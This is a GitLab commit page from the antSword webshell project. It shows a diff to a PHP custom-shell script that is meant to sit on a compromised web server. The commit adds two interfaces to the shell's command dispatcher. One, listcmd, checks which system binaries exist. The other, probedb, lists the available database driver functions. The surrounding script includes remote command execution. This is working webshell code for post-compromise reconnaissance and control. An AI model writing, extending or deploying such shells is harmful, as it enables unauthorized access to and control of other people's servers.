Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
96984066
Commit
96984066
authored
Apr 05, 2019
by
Medicean
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
(Enhance:CUSTOM) PHP Custom Shell 新增2个接口实现
parent
697c78cf
Changes
2
Hide whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
41 additions
and
2 deletions
+41
-2
CHANGELOG.md
CHANGELOG.md
+2
-0
php_custom_script_for_mysql.php
shells/php_custom_script_for_mysql.php
+39
-2
No files found.
CHANGELOG.md
View file @
96984066
...
...
@@ -30,6 +30,8 @@
### 其它
*
修复默认设置保存时导致 bookmarks 清空的问题
*
PHP Custom Shell 新增 listcmd 功能
*
PHP Custom Shell 新增数据库支持函数检查接口
## 2019/03/20 `v(2.0.6)`
...
...
shells/php_custom_script_for_mysql.php
View file @
96984066
...
...
@@ -14,7 +14,7 @@
* ———————————————————————————————————————————————
*
* 使用说明:
* 1. AntSword >= v
1.1-dev
* 1. AntSword >= v
2.0.7
* 2. 创建 Shell 时选择 custom 模式连接
* 3. 数据库连接:
* <H>localhost</H>
...
...
@@ -24,7 +24,11 @@
* 4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
*
* ChangeLog:
* Data: 2016/05/13 v1.1
* Date: 2019/04/05 v1.2
* 1. 新增 listcmd 接口
* 2. 新增数据库支持函数检查接口
*
* Date: 2016/05/13 v1.1
* 1. 执行 DML 语句,显示执行状态
*
* Date: 2016/04/06 v1.0
...
...
@@ -336,6 +340,33 @@ function ExecuteCommandCode($cmdPath, $command){
return
(
$ret
!=
0
)
?
"ret=
{
$ret
}
"
:
""
;
}
function
probedb
(){
$ret
=
""
;
$m
=
array
(
'mysql_close'
,
'mysqli_close'
,
'mssql_close'
,
'sqlsrv_close'
,
'ora_close'
,
'oci_close'
,
'ifx_close'
,
'sqlite_close'
,
'pg_close'
,
'dba_close'
,
'dbmclose'
,
'filepro_fieldcount'
,
'sybase_close'
);
foreach
(
$m
as
$f
)
{
$ret
.=
(
$f
.
"
\t
"
.
(
function_exists
(
$f
)
?
'1'
:
'0'
)
.
"
\n
"
);
}
if
(
function_exists
(
'pdo_drivers'
)){
foreach
(
@
pdo_drivers
()
as
$f
){
$ret
.=
(
"pdo_"
.
$f
.
"
\t
1
\n
"
);
}
}
return
$ret
;
}
function
listcmd
(
$binarr
){
$ret
=
""
;
$arr
=@
explode
(
","
,
$binarr
);
foreach
(
$arr
as
$v
){
$ret
.=
(
$v
.
"
\t
"
.
(
@
file_exists
(
$v
)
?
"1"
:
"0"
)
.
"
\n
"
);
}
return
$ret
;
}
@
ini_set
(
"display_errors"
,
"0"
);
@
set_time_limit
(
0
);
@
set_magic_quotes_runtime
(
0
);
...
...
@@ -402,6 +433,12 @@ try {
case
'Q'
:
$ret
=
query
(
$z0
,
$z1
,
$z2
);
break
;
case
'Y'
:
$ret
=
listcmd
(
$z1
);
break
;
case
'Z'
:
$ret
=
probedb
();
break
;
default
:
// $ret = "Wrong Password";
break
;
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment